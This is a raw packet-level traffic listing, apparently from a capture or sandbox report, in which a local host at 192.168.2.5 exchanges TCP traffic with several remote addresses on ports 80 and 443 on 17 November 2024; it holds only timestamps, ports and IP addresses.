Nov 17, 2024 03:42:44.013616085 CET	443	49914	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.020735025 CET	443	49916	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.021495104 CET	49916	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.021496058 CET	49916	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.021532059 CET	443	49916	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.021547079 CET	443	49916	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.027658939 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.027677059 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.027688980 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.027725935 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.027736902 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.027755022 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.027760983 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.027771950 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.027784109 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.027796030 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.027812004 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.027842999 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.027842999 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.036178112 CET	443	49917	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.043252945 CET	49917	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.043282986 CET	443	49917	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.048806906 CET	49917	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.048811913 CET	443	49917	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.069938898 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.069955111 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.070027113 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.073367119 CET	443	49913	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:44.073757887 CET	49913	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:44.073769093 CET	443	49913	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:44.075227976 CET	443	49913	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:44.075453043 CET	49913	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:44.075985909 CET	49913	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:44.076062918 CET	443	49913	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:44.076098919 CET	49913	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:44.076150894 CET	49913	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:44.076193094 CET	443	49913	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:44.105387926 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.105454922 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.105472088 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.105484962 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.105519056 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.105534077 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.105536938 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.105547905 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.105560064 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.105571032 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.105587959 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.105623960 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.105623960 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.105690002 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.105700970 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.105710983 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.105716944 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.105722904 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.105734110 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.105746031 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.105756998 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.105777025 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.105788946 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.105808020 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.106065035 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106127024 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106137037 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106153965 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106165886 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106177092 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.106225014 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106235981 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106246948 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106252909 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.106252909 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.106257915 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106267929 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106318951 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.106318951 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.106353998 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106373072 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106383085 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106393099 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106404066 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106425047 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106426001 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.106436968 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106446981 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106448889 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.106458902 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106467009 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.106472969 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106492043 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.106507063 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106517076 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106528044 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106533051 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.106549978 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106553078 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.106560946 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106570959 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.106571913 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106592894 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.106596947 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106606960 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106616974 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106621027 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.106621027 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.106664896 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.106664896 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.106676102 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106750965 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106770039 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106786966 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106800079 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106807947 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.106810093 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106822014 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106877089 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.106883049 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106894970 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106903076 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106904984 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.106925011 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.106926918 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106939077 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106949091 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106954098 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.106960058 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.106981039 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.107045889 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.107192039 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107218981 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107230902 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107248068 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.107259035 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107270002 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107279062 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.107280016 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107307911 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107317924 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.107328892 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.107351065 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107362986 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107373953 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.107398033 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107403994 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.107409954 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107417107 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.107420921 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107438087 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.107476950 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107489109 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107496977 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.107518911 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107530117 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.107531071 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107543945 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107572079 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107589960 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.107589960 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.107660055 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107671976 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107683897 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.107683897 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107695103 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107702017 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.107706070 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107727051 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.107741117 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107752085 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107762098 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.107768059 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107779026 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107786894 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.107789993 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107810020 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.107811928 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107824087 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107829094 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.107834101 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107842922 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.107875109 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107893944 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107902050 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.107906103 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107916117 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107923031 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.107928038 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107954025 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.107960939 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107971907 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107989073 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.107999086 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108009100 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108017921 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.108027935 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.108027935 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.108045101 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108057022 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108073950 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.108098984 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108109951 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108125925 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.108201027 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108232021 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108232975 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.108242989 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108258963 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.108297110 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108298063 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.108298063 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.108421087 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108438969 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108449936 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108459949 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108470917 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108477116 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108483076 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108491898 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108500004 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.108500004 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.108522892 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108534098 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108545065 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108545065 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.108555079 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108563900 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.108568907 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108592033 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.108596087 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108613968 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108618975 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.108624935 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108637094 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108656883 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.108660936 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108671904 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108681917 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108683109 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.108689070 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.108694077 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108705997 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.108706951 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.108748913 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.108748913 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.109678984 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.109694958 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.109708071 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.109767914 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.109767914 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.109816074 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.109827995 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.109839916 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.109849930 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.109862089 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.109863997 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.109863997 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.109874010 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.109885931 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.109924078 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.109924078 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.109950066 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.109996080 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.110008955 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.110044956 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.110055923 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.110065937 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.110066891 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.110088110 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.110151052 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.110163927 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.110174894 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.110177040 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.110186100 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.110192060 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.110198021 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.110204935 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.110218048 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.110265017 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.110276937 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.110286951 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.110300064 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.110312939 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.110318899 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.110333920 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.110343933 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.110353947 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.110359907 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.110368967 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.110379934 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.110379934 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.110387087 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.110392094 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.110441923 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.110441923 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.110444069 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.110455036 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.110496044 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.110496044 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.124377966 CET	49913	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:44.124385118 CET	443	49913	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:44.146575928 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.146589041 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.146600962 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.146658897 CET	443	49914	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.146666050 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.146675110 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.146697044 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.146729946 CET	443	49914	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.146739006 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.146750927 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.146763086 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.146770000 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.146828890 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.146840096 CET	49914	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.146861076 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.147044897 CET	49914	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.147044897 CET	49914	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.147106886 CET	443	49914	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.147120953 CET	443	49914	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.149100065 CET	443	49916	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.149152994 CET	443	49916	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.149342060 CET	49916	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.149342060 CET	49916	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.149466991 CET	49916	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.149475098 CET	443	49916	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.149982929 CET	49920	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.150023937 CET	443	49920	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.150182009 CET	49920	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.150454998 CET	49920	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.150470972 CET	443	49920	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.155217886 CET	49921	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.155255079 CET	443	49921	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.155494928 CET	49921	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.155807972 CET	49921	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.155822992 CET	443	49921	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.171225071 CET	49913	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:44.176362991 CET	443	49917	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.176433086 CET	443	49917	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.176850080 CET	49917	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.176850080 CET	49917	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.177073002 CET	49917	443	192.168.2.5	13.107.246.45
